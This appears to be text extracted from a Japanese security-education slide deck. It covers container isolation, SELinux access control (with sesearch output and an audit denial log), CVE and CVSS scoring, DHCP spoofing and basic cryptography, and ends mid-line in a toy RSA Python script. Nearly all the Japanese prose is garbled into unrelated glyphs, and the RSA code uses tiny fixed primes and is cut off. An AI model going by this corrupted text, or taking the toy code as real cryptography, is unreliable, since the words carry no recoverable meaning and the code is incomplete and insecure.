ίϯςφͱϚΠΫϩαʔϏε ͜ͷΑ͏ͳߏ੒ʹͯ͋͠Δͱ ϓϩηεͷ͏ͪͷ1͕ͭ Ծʹ߈ܸऀͷखʹམͪͨͱͯ͠΋ ͦͷ࣌఺ͰͷӨڹΛ αʔϏε಺ͷݶΒΕͨྖҬʹ ͱͲΊΒΕΔ

Slide 96

Slide 96 text

ͨͩ͠ ͨ·ʹcgroupͱ໊લۭؒࣗମͷෆ۩߹Ͱ ߈ܸऀ͕ίϯςφͷ֎ʹ୤ग़Ͱ͖ͯ͠·͏ ੬ऑੑ͕ݟ͔ͭΔࣄ͕͋ΔͷͰ஫ҙ ྫ$7&

Slide 97

Slide 97 text

SELinuxΛ׆༻ͤΑ

Slide 98

Slide 98 text

ॴ༗ऀ: Bob άϧʔϓ: ΧϨʔಉ޷ձ ύʔϛογϣϯ: ॴ༗ऀͱ άϧʔϓϝϯόʔ͸ ಡΈॻ͖OK ݹయతͳ*NIXͷύʔϛογϣϯ ΧϨʔ԰৘ใ Alice (ΧϨʔಉ޷ձձһ) "MJDF͞Μ͸άϧʔϓϝϯόʔ άϧʔϓϝϯόʔͷॻ͖ࠐΈ͸0, Linux OK ͋ͷϑΝΠϧʹ ॻ͖͍ͨ

Slide 99

Slide 99 text

͜ͷΑ͏ʹϢʔβ͕ࣗ෼Ͱ ৘ใΛʹΞΫηε͢ΔͨΊʹඞཁͳݖݶΛઃఆ͢Δ ΞΫηε੍ޚΛ ೚ҙΞΫηε੍ޚ ͱݺͿ

Slide 100

Slide 100 text

ॴ༗ऀ: Bob άϧʔϓ: ΧϨʔಉ޷ձ ύʔϛογϣϯ: ॴ༗ऀͱ άϧʔϓϝϯόʔ͸ ಡΈॻ͖OK ΧϨʔ԰৘ใ BobΛࣗশ͢Δ ߈ܸऀ #PC͞Μ͸ ϑΝΠϧͷॴ༗ऀ͔ͩΒ #PC͞ΜͷཁٻͳΒؒҧ͍ͳ͍ Linux ͋ͷϑΝΠϧΛ ࣺͯͨ͘ͳͬͨ OK ݹయతͳ*NIXͷύʔϛογϣϯͷݶք

Slide 101

Slide 101 text

ॴ༗ऀ: Charlie άϧʔϓ: ΧϨʔಉ޷ձ ύʔϛογϣϯ: ୭Ͱ΋ಡΈॻ͖ࣗ༝ ۃൿ৘ใ Charlie $IBSMJF͞Μ͸ ϑΝΠϧͷॴ༗ऀ͔ͩΒ $IBSMJF͞ΜͷཁٻͳΒؒҧ͍ͳ͍ Linux OK *NIXΑʔΘ͔ΒΜ 777ʹ͠ͱ͍ͯ ݹయతͳ*NIXͷύʔϛογϣϯͷݶք

Slide 102

Slide 102 text

γεςϜ؅ཧऀ͕γεςϜશମʹ ηΩϡϦςΟཁ݅Λڧ੍͢Δ ڧ੍ΞΫηε੍ޚ ͕ཁΔ ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏ Charlie͕ͲΜͳʹζϘϥͰ΋ γεςϜશମͷηΩϡϦςΟ͸อͨΕΔඞཁ͕͋Δ

Slide 103

Slide 103 text

୭͔ͩΒʙ͕Ͱ͖Δ ͱ͍͏ܗҎ֎ͷํ๏ʹΑΔΞΫηε੍ޚ͕ཁΔ ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏ BobຊਓͱBobʹͳΓ͢·͢߈ܸऀΛ۠ผ͢Δʹ͸ ୭͔͸࢖͍෺ʹͳΒͳ͍

Slide 104

Slide 104 text

શͯͷϓϩηεʹ͸਌ࢠؔ܎͕͋Δ ͋Δ೔ͷBob͞Μͷϓϩηε Bob ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏ ΰϛା͕੾Ε͍͔ͯͨΒίϯϏχʹങ͍ʹߦ͘ Ոͷ૟আΛ͢Δ

Slide 105

Slide 105 text

ίϯϏχʹߦ్͘தͰѱ͍ਓʹั·ΓೖΕସΘΔ ΧϨʔಉ޷ձͷϊʔτʹམॻ͖Λ͢Δ ΰϛା͕੾Ε͍͔ͯͨΒίϯϏχʹങ͍ʹߦ͘ Ոͷ૟আΛ͢Δ Bob BobʹͳΓ͢·ͨ͠ ߈ܸऀ ϓϩηε͕߈ܸऀͷखʹམͪΔͱ ͜͏͍͏ঢ়ଶʹͳΔ ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

Slide 106

Slide 106 text

ΰϛା͕੾Ε͍͔ͯͨΒίϯϏχʹങ͍ʹߦ͘ Ոͷ૟আΛ͢Δ ϓϩηεʹυϝΠϯΛ͚ͭΑ͏ υϝΠϯ͸͋Β͔͡Ί༻ҙ͞Εͨϧʔϧʹैͬͯ෇༩͞Ε ࢠϓϩηεʹҾ͖ܧ͕Ε SELinuxࣗମͷઃఆݖݶΛ࣋ͨͳ͍Ϣʔβ͸มߋ͸Ͱ͖ͳ͍ Bob ૟আத ૟আத ͜Ε ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

Slide 107

Slide 107 text

૟আத ʹΞΫηεͯ͠ྑ͍΋ͷ Ϧιʔεʹ΋υϝΠϯ(λΠϓ)Λ͚ͭΑ͏ SELinuxࣗମͷઃఆݖݶΛ࣋ͨͳ͍Ϣʔβ͸มߋ͸Ͱ͖ͳ͍ ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

Slide 108

Slide 108 text

ίϯϏχʹߦ్͘தͰѱ͍ਓʹั·ΓೖΕସΘΔ ΧϨʔಉ޷ձͷϊʔτʹམॻ͖Λ͢Δ Ոͷ૟আΛ͢Δ Bob ΰϛା͕੾Ε͍͔ͯͨΒίϯϏχʹങ͍ʹߦ͘ BobʹͳΓ͢·ͨ͠ ߈ܸऀ ͢Δͱ߈ܸऀͷϓϩηε͸͜͏ͳΔ ૟আத ૟আத ૟আத ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

Slide 109

Slide 109 text

Linux ͳΜ͚ͩͲ ΧϨʔಉ޷ձͷϊʔτʹॻ͖ࠐΈͤͯ͞ ૟আ͍ͤ υϝΠϯͷෆҰகΛཧ༝ʹ ৘ใ΁ͷΞΫηεΛڋ൱Ͱ͖Δ BobʹͳΓ͢·ͨ͠ ߈ܸऀ ૟আத ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

Slide 110

Slide 110 text

ॏཁͳϙΠϯτ ୭͔ͩΒڐՄ͢Δ Ͱ͸ͳ͘ ԿΛ͍ͯ͠Δ࠷த͔ͩΒڐՄ͢Δ ʹͳ͍ͬͯΔ

Slide 111

Slide 111 text

Æ SELinux ύʔϛογϣϯ system_u:object_r: passwd_exec_t Bob ॴ༗ऀ: Bob ॴ༗ऀͷಡΈॻ͖OK ಡΜͰOK 㲔 SELinux passwd_exec_t ͸ಡΜͰྑ͍ ಡΜͰOK ૯ධ ಡΜͰOK ͋ͷϑΝΠϧ ݟͤͯ #PC͞Μ͕ࣗ෼Ͱ ઃఆͰ͖Δൣғ SELinux passwd_exec_t ͸࢖ͬͯ͸͍͚ͳ͍ ࢖༻ېࢭ ૯ධ ࢖༻ېࢭ 8080 8080൪ϙʔτΛ ࢖͍͍ͨͳ

Slide 112

Slide 112 text

$ sesearch --allow … allow passwd_t crack_db_t:dir { getattr ioctl lock open read search }; allow passwd_t crack_db_t:file { getattr ioctl lock open read }; allow passwd_t default_context_t:dir { getattr open search }; allow passwd_t device_t:dir { getattr ioctl lock open read search }; … allow passwd_t shadow_t:file { append create getattr ioctl link lock open read relabelfrom relabelto rename setattr unlink write }; … allow passwd_t passwd_exec_t:file { entrypoint execute getattr ioctl lock map open read }; … allow user_t passwd_exec_t:file { execute getattr open read }; allow user_t passwd_t:process transition; … ҰൠϢʔβ͕ී௨ʹϩάΠϯ͖ͯͨ͠ঢ়گ͔Β passwd_exec_tʹଐ͢ίϚϯυΛ࣮ߦ͢Δࣄ͕Ͱ͖Δ passwd_tυϝΠϯ΁ͷભҠ͕ೝΊΒΕΔ passwd_exec_tʹ ଐ͢ίϚϯυͷ࣮ߦ࣌ʹ passwd_tʹભҠ͢Δ passwd_tυϝΠϯͰ͸passwdΛ࣮ߦ͢Δͷʹඞཁͳ΋ͷ͔͠৮Εͳ͍ passwd_tͷϓϩηε͸ shadow_tλΠϓͷ ύεϫʔυϑΝΠϧΛ৮ΕΔ

Slide 113

Slide 113 text

passwd ύεϫʔυϑΝΠϧ ਖ਼نͷϩάΠϯखॱͰ ೖ͖ͬͯͨϢʔβ ύεϫʔυͱ ؔ܎ͳ͍ ϑΝΠϧ shadow_t΁ͷΞΫηεݖ͕ͳ͍ ແؔ܎ͳϑΝΠϧ΁ͷ ΞΫηεݖ͕ͳ͍ passwd_tʹભҠ Bob ਖ਼نͷϩάΠϯखॱͰ ೖͬͯ͜ͳ͔ͬͨϢʔβ passwd_tʹ ભҠ͢Δݖݶ͕ͳ͍ shadow_t΁ͷ ΞΫηεݖ͕ͳ͍ BobʹͳΓ͢·͢߈ܸऀ passwd_t͸shadow_tΛ৮ΕΔ

Slide 114

Slide 114 text

SELinuxͷઃఆΛద੾ʹߦ͏ࣄͰ ߈ܸऀ͕ϓϩηεΛ৐ͬऔͬͨͱͯ͠΋ ͦͷӨڹΛ ͔ͦ͜ΒભҠͰ͖ΔυϝΠϯ͚ͩʹ ݶఆͰ͖Δ

Slide 115

Slide 115 text

SELinux͕ΞΫηεΛڋ൱͢Δͱ ҎԼͷΑ͏ͳΧʔωϧϩά͕ग़Δ audit: type=1400 audit(1521959710.081:83): avc: denied { setattr } for pid=2168 comm="chmod" name="shadow" dev="vda" ino=524679 scontext=staff_u:staff_r:staff_t tcontext=system_u:object_r:shadow_t tclass=file passwd_tҎ֎ͷυϝΠϯͰ࣮ߦ͞Εͨ ίϚϯυchmod͕ shadow_tλΠϓ͕͍ͭͨϑΝΠϧshadowͷ ύʔϛογϣϯΛॻ͖׵͑Α͏ͱͨ͠ҝ ڋ൱ͨ͠

Slide 116

Slide 116 text

audit: type=1400 audit(1521959710.081:83): avc: denied { setattr } for pid=2168 comm="chmod" name="shadow" dev="vda" ino=524679 scontext=staff_u:staff_r:staff_t tcontext=system_u:object_r:shadow_t tclass=file ιϑτ΢ΣΞʹ͜ͷૢ࡞Λ͢΂͖ਖ਼౰ͳཧ༝͕͋Δ৔߹ ͦͷιϑτ΢ΣΞͷҝͷ৽͍͠υϝΠϯΛ࡞Ζ͏ ͦͷιϑτ΢ΣΞ͕ਖ਼ৗʹ࢖ΘΕΔͱ͖ʹ ͦͷυϝΠϯʹભҠͰ͖ΔݖݶΛ༩͑Α͏ ͦͷυϝΠϯʹඞཁͳૢ࡞Λߦ͏ݖݶΛ༩͑Α͏

Slide 117

Slide 117 text

࣮ࡍͷSELinuxͷઃఆखॱ͸௕͘ͳΔͷͰׂѪ ίϚϯυ΍ઃఆϑΝΠϧͷ࢖͍ํ͸ RedHatͷυΩϡϝϯτʹΑ͘·ͱ·͍ͬͯΔ https://access.redhat.com/documentation/ja-jp/red_hat_enterprise_linux/7/html/ selinux_users_and_administrators_guide/ ͜͜ʹ 3FE)BUͷ4&-JOVYϢʔβʔͱ؅ཧऀͷΨΠυΛషΔ

Slide 118

Slide 118 text

RedHatҎ֎ͷσΟετϦϏϡʔγϣϯΛ࢖͏৔߹ γεςϜͷϢʔβ΍λΠϓ໊ɺͦͷݖݶͷൣғ͕ ҟͳ͍ͬͯΔՄೳੑ͕͋Δ ࢖༻͢ΔσΟετϦϏϡʔγϣϯʹ SELinuxʹؔ͢Δઆ໌͕͋Δ৔߹͸ ͦͪΒ΋ࢀর͢΂͠

Slide 119

Slide 119 text

੬ऑੑ৘ใͷ௥͍ํ

Slide 120

Slide 120 text

αʔό্Ͱಈ͍͍ͯΔͷ͕ ࣗ෼Ͱ࡞ͬͨιϑτ΢ΣΞ͚ͩ ͱ͍͏έʔε͸كͰ͋Δ ࣗ෼Ͱ࡞ͬͨιϑτ΢ΣΞ ศརͳ ϥΠϒϥϦ ศརͳ ϥΠϒϥϦ ศརͳ ϥΠϒϥϦ ศརͳ ϥΠϒϥϦ Χʔωϧ(OS) υϥΠό υϥΠό ϋʔυ΢ΣΞ ϋʔυ΢ΣΞ ศརͳϥΠϒϥϦ

Slide 121

Slide 121 text

ࣗ෼Ͱ࡞͍ͬͯͳ͍෦෼Ͱ੬ऑੑ͕ݟ͔ͭͬͯ ࣗ෼ͷιϑτ΢ΣΞ͕҆શͰͳ͘ͳΔ͜ͱ͸Α͋͘Δ ࣗ෼Ͱ࡞ͬͨιϑτ΢ΣΞ ศརͳ ϥΠϒϥϦ ศརͳ ϥΠϒϥϦ ศརͳ ϥΠϒϥϦ ศརͳ ϥΠϒϥϦ Χʔωϧ υϥΠό υϥΠό ϋʔυ΢ΣΞ ϋʔυ΢ΣΞ ศརͳϥΠϒϥϦ

Slide 122

Slide 122 text

ར༻͍ͯ͠Δ Αͦͷιϑτ΢ΣΞͷ ੬ऑੑ৘ใΛؾʹ͔͚Α͏

Slide 123

Slide 123 text

Common Vulnerabilities and Exposures ڞ௨੬ऑੑࣝผࢠ ུͯ͠$7& ੈքதͰݟ͔ͭͬͨ੬ऑੑʹ Ұҙͳ*%ΛׂΓ౰ͯͯσʔλϕʔεԽ͍ͯ͠Δ http://www.cve.mitre.org/ ͜͜ʹ $7&ͷ8FCαΠτͷτοϓϖʔδΛషΔ

Slide 124

Slide 124 text

Common Vulnerabilities and Exposures BQBDIFͰݕࡧΛ͔͚ͯΈͨͱ͜Ζ http://www.cve.mitre.org/cve/search_cve_list.html ͜͜ʹ $7&ͷ8FCαΠτͰBQBDIFͰݕࡧΛ͔͚ͨͱ͜ΖΛషΔ

Slide 125

Slide 125 text

͜͜ʹ $7&ͷ/*45ʹΑΔղઆΛషΔ Common Vulnerabilities and Exposures "QBDIFIUUQEͷIUBDDFTTʹ-JNJUΛઃఆ͍ͯ͠Δ৔߹ʹ ϦϞʔτ͔Βݟ͑ͯ͸͍͚ͳ͍৘ใ͕ݟ͑ͯ͠·͏Մೳੑ͕͋Δ੬ऑੑ 6TFBGUFSGSFF੬ऑੑͰ͋Γ ඞͣ͠΋ݟ͑ͯ͸͍͚ͳ͍৘ใ͕ૹΒΕΔ༁Ͱ͸ͳ͍ https://nvd.nist.gov/vuln/detail/CVE-2017-9798

Slide 126

Slide 126 text

Common Vulnerability Scoring System https://nvd.nist.gov/vuln/detail/CVE-2017-9798 ڞ௨੬ऑੑධՁγεςϜ(ུͯ͠CVSS) ੬ऑੑͷϠό͞Λ਺஋ʹͨ͠΋ͷ ͜ΕΛݟΕ͹੬ऑੑͷ࢓૊Έ͕Θ͔Βͳͯ͘΋ Ͳͷ͘Β͍·͍ͣࣄʹͳ͍ͬͯΔ͔͕Θ͔Δ ͜͜ʹ $7&ͷ$744ΛషΔ

Slide 127

Slide 127 text

Common Vulnerability Scoring System جຊධՁج४(Base Metrics) ੬ऑੑͦͷ΋ͷͷಛ௃ʹجͮ͘είΞ ͜͜ͷ஋͕ߴ͍ఔର৅ʹେ͕݀։͍͍ͯΔ ݱঢ়ධՁج४ (Temporal Metrics) ੬ऑੑʹର͢ΔରԠঢ়گʹجͮ͘είΞ ͜ͷ஋͸ঢ়گͷมԽʹԠͯ͡มΘΔ ؀ڥධՁج४(Environmental Metrics) ੬ऑੑ͕ར༻͞Εͨ৔߹ͷӨڹͷେ͖͞ʹجͮ͘είΞ ͜ͷ஋͸ର৅͕ར༻͞Ε͍ͯΔ؀ڥʹΑͬͯมΘΔ

Slide 128

Slide 128 text

Slide 129

Slide 129 text

جຊධՁج४ (Base Metrics) ߈ܸݩ۠෼(Access Vector) ߈ܸऀ͸Ͳ͔͜Β߈ܸΛߦ͏ඞཁ͕͋Δ͔ ϩʔΧϧ ಉҰηάϝϯτ ωοτϫʔΫͷͲ͔͜ΒͰ΋ ߈ܸ৚݅ͷෳࡶ͞(Access Complexity) ߈ܸͰ͖Δঢ়ଶʹ͢Δͷ͸೉͍͔͠ ಛผͳઃఆ͕࢖ΘΕͯΔ͚࣌ͩ ࣄલʹԿ͔Λ஌͍ͬͯΔඞཁ͕͋Δ ඞཁͳಛݖϨϕϧ(Privileges Required) ߈ܸΛߦ͏ʹ͸Ͳͷఔ౓ͷݖݶ͕ඞཁ͔ ҰൠϢʔβݖݶ͕ඞཁ ؅ཧऀݖݶ͕ඞཁ

Slide 130

Slide 130 text

جຊධՁج४ (Base Metrics) Ϣʔβؔ༩Ϩϕϧ(User Interaction) ߈ܸΛ੒ཱͤ͞ΔͨΊʹਖ਼نͷϢʔβʹԿ͔Λͤ͞Δඞཁ͕͋Δ͔ ࡉ޻Λͨ͠8FCϖʔδΛ։͔ͤΔඞཁ͕͋Δ είʔϓ(Scope) ߈ܸΛड͚ͨίϯϙʔωϯτҎ֎΁ͷ߈ܸͷ଍͕͔Γʹ͞ΕΔՄೳੑ͕͋Δ͔ ΫϩεαΠτεΫϦϓςΟϯάͳͲ͕͜Εʹ֘౰͢Δ

Slide 131

Slide 131 text

جຊධՁج४ (Base Metrics) ׬શੑ΁ͷӨڹ(Integrity Impact) ߈ܸऀ͸ର৅ͷ৘ใΛվ᜵Ͱ͖Δ͔ վ᜵Ͱ͖Δ৘ใͷதʹػີ৘ใ͸ؚ·ΕಘΔ Մ༻ੑ΁ͷӨڹ(Availability Impact) ߈ܸऀ͸αʔϏεΛఀࢭͤ͞Δࣄ͕Ͱ͖Δ͔ Ұ෦ͷػೳΛఀࢭͤ͞Δ͜ͱ͕Ͱ͖Δ ׬શʹఀࢭͤ͞Δ͜ͱ͕Ͱ͖Δ ػີੑ΁ͷӨڹ(Confidentiality Impact) ߈ܸऀʹݟ͑ͯ͸͍͚ͳ͍৘ใ͕ݟ͑ͯ͠·͏͔ ݟ͑ͯ͠·͏৘ใͷதʹػີ৘ใ͸ؚ·ΕಘΔ

Slide 132

Slide 132 text

͜͜ʹ $7&ͷ$744ΛషΔ Apach httpdͷ੬ऑੑCVE-2017-9798ͷ৔߹ ωοτϫʔΫӽ͠ʹ߈ܸͰ͖Δ ߈ܸ͸؆୯ ߈ܸʹݖݶ͸ಛʹඞཁͳ͠ ϢʔβʹԿ͔ͤ͞Δඞཁ΋ͳ͠ Αͦ΁ͷ߈ܸͷ଍͕͔Γʹ͸ͳΒͳ͍ ػີ৘ใ͕࿙ΕΔ ৘ใͷվ͟Μ͸Ͱ͖ͳ͍ Մ༻ੑΛଛͶΔ͜ͱ͸Ͱ͖ͳ͍ ۓٸ౓: 7.5/10.0 (ߴ) ݁ߏϠό͍΍ͭͳΜͰૣ͍ͱ͜࠹͍Ͱ͓͜͏ https://nvd.nist.gov/vuln/detail/CVE-2017-9798

Slide 133

Slide 133 text

͜͜ʹ $7&ͷ$744ΛషΔ BINDͷ੬ऑੑCVE-2016-2776ͷ৔߹ ωοτϫʔΫӽ͠ʹ߈ܸͰ͖Δ ߈ܸ͸؆୯ ߈ܸʹݖݶ͸ಛʹඞཁͳ͠ ϢʔβʹԿ͔ͤ͞Δඞཁ΋ͳ͠ Αͦ΁ͷ߈ܸͷ଍͕͔Γʹ͸ͳΒͳ͍ ৘ใ͸࿙Εͳ͍ ৘ใͷվ͟Μ͸Ͱ͖ͳ͍ Մ༻ੑΛ׬શʹଛͶΔࣄ͕Ͱ͖Δ ۓٸ౓: 7.5/10.0 (ߴ) ݁ߏϠό͍΍ͭͳΜͰૣ͍ͱ͜࠹͍Ͱ͓͜͏ https://nvd.nist.gov/vuln/detail/CVE-2016-2776

Slide 134

Slide 134 text

͜͜ʹ $7&ͷ$744ΛషΔ Firefoxͷ੬ऑੑCVE-2016-5253ͷ৔߹ ϩʔΧϧ͔Β߈ܸͰ͖Δ ߈ܸ͸؆୯Ͱ͸ͳ͍ ҰൠϢʔβݖݶ͕ཁΔ ϢʔβʹԿ͔ͤ͞Δඞཁ͸ͳ͠ Αͦ΁ͷ߈ܸͷ଍͕͔Γʹ͸ͳΒͳ͍ ৘ใ͸࿙Εͳ͍ ػີ৘ใͷվ͟Μ͕Ͱ͖Δ Մ༻ੑΛଛͶΔࣄ͸Ͱ͖ͳ͍ ۓٸ౓: 4.7/10.0 (த) ੬ऑੑʹ͸ҧ͍ͳ͍͚ͲϠό͍΍ͭͰ͸ͳͦ͞͏ https://nvd.nist.gov/vuln/detail/CVE-2016-5253

Slide 135

Slide 135 text

͜͜ʹ SFEIBUͷ੬ऑੑ৘ใͷϖʔδΛషΔ ۓٸ౓ͷߴ͍੬ऑੑ͕ݟ͔ͭΔͱ֤σΟετϦϏϡʔγϣϯ͔Β Ͳ͏͢Ε͹࠹͛Δ͔ʹؔ͢Δ৘ใ͕ग़Δ https://access.redhat.com/security/cve/cve-2016-2776 https://security-tracker.debian.org/tracker/CVE-2016-2776 ͜͜ʹ EFCJBOͷ੬ऑੑ৘ใͷϖʔδΛషΔ

Slide 136

Slide 136 text

࢖͍ͬͯΔιϑτ΢ΣΞͷ੬ऑੑʹCVE ID͕ৼΒΕͨ ͦͷIDʹ͍ͭͯৄࡉ͕ग़͍ͯͳ͍͔άάΖ͏ ࢖͍ͬͯΔιϑτ΢ΣΞͷ੬ऑੑͷৄࡉ͕ग़͍ͯͨ CVSSΛݟͯӨڹΛධՁ͠Α͏ σΟετϦ͔Βਂࠁͳ੬ऑੑͷमਖ਼͕ͳ͔ͳ͔ग़ͳ͍ ੬ऑੑͷৄࡉΛݟͯ ໰୊ͷػೳΛආ͚ͯαʔϏεΛఏڙͰ͖ͳ͍͔ݕ౼͠Α͏ σΟετϦ͔Βਂࠁͳ੬ऑੑͷमਖ਼͕ग़ͨ ૣٸʹΞοϓσʔτ͠Α͏

Slide 137

Slide 137 text

௨৴ʹର͢Δ߈ܸʹඋ͑Δ

Slide 138

Slide 138 text

8J'J Πϯλʔωοτ ઀ଓઌ ϗςϧͷWiFiΞΫηεϙΠϯτʹ઀ଓ͠·͢ Alice

Slide 139

Slide 139 text

8J'J Πϯλʔωοτ ઀ଓઌ ϗςϧͷWiFiΞΫηεϙΠϯτʹ઀ଓ͠·͢ ֎ʹग़Δʹ͸ Ͳ͜ʹ௨৴Λ౤͛Ε͹ ྑ͍Ͱ͔͢ ͦΕ͸ DHCP DISCOVER ѱҙ͋Δୈࡾऀ ͬͪͩ͜Α DHCP OFFER Alice

Slide 140

Slide 140 text

8J'J Πϯλʔωοτ ઀ଓઌ ϗςϧͷWiFiΞΫηεϙΠϯτʹ઀ଓ͠·͢ ѱҙ͋Δୈࡾऀ σʔλͷྲྀΕ ͜ͷΑ͏ͳ߈ܸ͸DHCPεϓʔϑΟϯάͱݺ͹ΕΔ Alice

Slide 141

Slide 141 text

ѱҙ͋Δୈࡾऀ͕ؒʹڬ·Δํ๏͸͍͔ͭ͋͘Δ͕ ઀ଓઌ͔Β͜͏ͨ͠ঢ়ଶΛະવʹ๷͙ज़͸ແ͍ͨΊ ΠϯλʔωοτΛհͨ͠௨৴͸ ؒʹѱҙ͋Δୈࡾऀ͕͍Δ΋ͷͱͯ͠ ௨৴Λߦ͏ඞཁ͕͋Δ

Slide 142

Slide 142 text

Πϯλʔωοτ͸఻ݴήʔϜͩ ԕ͘ͷϗετʹͨͲΓணͨ͘Ίʹ͸ ͨ͘͞ΜͷϗετΛܦ༝͢ΔՄೳੑ͕͋Δ ઀ଓઌ ܦ༝ͨ͠ϗετͷ਺Λhop਺ͱݺͿ 1hop 2hop 3hop 4hop 5hop

Slide 143

Slide 143 text

Πϯλʔωοτ͸఻ݴήʔϜͩ ௨৴ܦ࿏্ʹ͋Δશͯͷϗετʹ͸ ௨৴಺༰ؙ͕ݟ͑Ͱ͋Δ ઀ଓઌ

Slide 144

Slide 144 text

Πϯλʔωοτ͸఻ݴήʔϜͩ ௨৴ܦ࿏্ͷѱҙ͋Δୈࡾऀ͸ ࣍ͷϗετʹਖ਼͘͠௨৴಺༰Λ఻͑ͳ͍͔΋͠Εͳ͍ ઀ଓઌ

Slide 145

Slide 145 text

Πϯλʔωοτ͸఻ݴήʔϜͩ ௨৴ܦ࿏্ͷѱҙ͋Δୈࡾऀ͸ ຊདྷͷ௨৴૬खʹͳΓ͢·͔͢΋͠Εͳ͍ Bob Bob͞ΜͰ͔͢ ͸͍Bob͞ΜͰ͢ Charlie Alice

Slide 146

Slide 146 text

ܦ࿏্ͷѱҙ͋Δୈࡾऀͷ ӨڹΛड͚ͳ͍ͨΊʹ͸ ௨৴಺༰Λ҉߸Խ ௨৴಺༰͕վ͟Μ͞Ε͍ͯͳ͍͔ݕূ

Slide 147

Slide 147 text

ڞ௨伴҉߸ H e l l o , sp W o r l d ! nl 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a m 8 can dc1 si vt n 9 n del : syn M f R + ed 38 98 11 8f 0b 6e 39 6e ff ba 16 4d e6 52 2b H e l l o , sp W o r l d ! nl 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a 伴Λ࢖ͬͯม׵ 伴Λ࢖ͬͯٯม׵ ͲͷΑ͏ʹม׵͢Δ͔ʹҧ͍͕͋Δ ෳ਺ͷ҉߸ΞϧΰϦζϜ͕ଘࡏ͢Δ

Slide 148

Slide 148 text

ྑ͍ڞ௨伴҉߸ͱ͸ ݱ࣮తͳ࣌ؒͰશͯͷ伴Λࢼ͢͜ͱ͕Ͱ͖ͣ શͯͷ伴Λࢼ͢ΑΓޮ཰ͷྑ͍ղಡํ๏͕ଘࡏ͠ͳ͍ ͜ΕΛূ໌͢Δͷ͕ࠔ೉ ͜Ε͸伴Λ௕͘͢Ε͹࣮ݱͰ͖Δ

Slide 149

Slide 149 text

ΞϧΰϦζϜ͕޿͘ར༻͞Ε͍ͯͯ ͦΕͰ΋ޮ཰ͷྑ͍ղಡํ๏͕ൃݟ͞Ε͍ͯͳ͍҉߸͸ গͳ͘ͱ΋ࠓͷͱ͜Ζ͸҆શͰ͋Δͱߟ͑ΒΕΔ ҉߸ΞϧΰϦζϜΛࣗ࡞͢Δͱ ͜ͷ෦෼Λຬͨ͢ͷ͕ࠔ೉ʹͳΔ ∴҉߸ΞϧΰϦζϜͷࣗ࡞͸ΦεεϝͰ͖ͳ͍ ্هͷ৚݅Λຬͨ͢ طଘͷ҉߸ΞϧΰϦζϜΛ࠾༻͠Α͏

Slide 150

Slide 150 text

ݱ࣮తͳ࣌ؒͰશͯͷ伴Λࢼ͢͜ͱ͕Ͱ͖ͣ ޿͘ར༻͞Ε͍ͯΔ͚Ͳ ޮ཰ͷྑ͍ղಡํ๏͕ݟ͔͍ͭͬͯͳ͍ڞ௨伴҉߸ Advanced Encryption Standard (AES) Blowfish ͳͲͳͲ ϒϩοΫ҉߸ ετϦʔϜ҉߸ Chacha20

Slide 151

Slide 151 text

ڞ௨伴҉߸ͷ伴഑ૹ໰୊ ҉߸Λ΍ΓऔΓ͢ΔͨΊʹ͸伴͕ඞཁ ͔͠͠҉߸Խͱ෮߸ʹಉ͡伴Λ࢖͍ͬͯΔ৔߹ ౪ௌͷՄೳੑ͕͋Δ௨৴खஈΛ࢖ͬͯ૬खʹ伴Λ౉ͤͳ͍ ѱҙ͋Δୈࡾऀʹ伴͕όϨ͍ͯͨΒ ҉߸ͷҙຯ͕ͳ͍ Bob Alice

Slide 152

Slide 152 text

ܦ࿏্ͷѱҙ͋Δୈࡾऀͷ ӨڹΛड͚ͳ͍ͨΊʹ͸ ௨৴಺༰Λ҉߸Խ ௨৴಺༰͕վ͟Μ͞Ε͍ͯͳ͍͔ݕূ ѱҙ͋ΔୈࡾऀʹόϨͳ͍Α͏ʹ҉߸伴Λڞ༗ NEW!

Slide 153

Slide 153 text

ެ։伴҉߸ ୭͔͕ެ։伴Λ౪ௌ͍ͯͨ͠ͱͯ͠΋ ͦͷ伴Ͱ௨৴಺༰Λ෮߸͢Δ͜ͱ͸Ͱ͖ͳ͍ ෮߸͢Δͷʹඞཁͳ ൿີ伴 ͸ଞਓʹڭ͑ͳ͍ ҉߸Խͱ෮߸ʹҟͳΔ伴Λ࢖͏҉߸ΞϧΰϦζϜ ҉߸Խʹඞཁͳ ެ։伴 Λ௨৴૬खʹૹΔ ௨৴૬ख͸ެ։伴Λ࢖ͬͯ 伴ͷओʹૹΓ͍ͨϝοηʔδΛ҉߸Խ͢Δ

Slide 154

Slide 154 text

ެ։伴҉߸ =15 =-15 =42 =57 42+15=57 57-15=42 ͜Μͳ҉߸ͩͱ ҰॠͰެ։伴͔Βൿີ伴͕όϨͯ͠·͏ ൿີ伴͔Βެ։伴͸؆୯ʹ࡞Εͳ͚Ε͹ͳΒͳ͍͕ ެ։伴͔Βൿີ伴͸༰қʹ࡞Εͯ͸ͳΒͳ͍

Slide 155

Slide 155 text

RSA ൿີ伴͔Βެ։伴͸؆୯ʹ࡞Εͳ͚Ε͹ͳΒͳ͍͕ ެ։伴͔Βൿີ伴͸༰қʹ࡞Εͯ͸ͳΒͳ͍ 373*61=22753Ͱ͋Δ͜ͱ͸؆୯ʹٻ·Δ͕ 22753͕373ͱ61ʹ෼ղͰ͖Δ͜ͱΛ ಉ͘͡Β͍؆୯ʹٻΊΔํ๏͸஌ΒΕ͍ͯͳ͍ ૉҼ਺෼ղ͕ඞཁ ͜ͷΑ͏ʹܭࢉྔ͕ରশͰͳ͍ܭࢉΛڬΜͰ伴Λ࡞Δ͜ͱͰ ެ։伴͔Βൿີ伴Λ࡞Ζ͏ͱ͢Δͱ ๲େͳܭࢉ͕ඞཁʹͳΔΑ͏ͳ伴Λ࡞ΕΔ

Slide 156

Slide 156 text

#!/usr/bin/env python3 # -*- coding: utf-8 -*- def egcd( x, y, a = 0, b = 1 ): div, mod = divmod( x, y ) if mod == 0: return ( y, a ) return egcd( y, mod, b - div * a, a ) def modinv( x, y ): a, b = egcd( x, y ) if a != 1: raise Exception( 'no modinv') return b % y def generate_key_pair(): prime_nums = [ 116903, 215443, 139721 ] public_key = [ prime_nums[ 0 ] * prime_nums[ 1 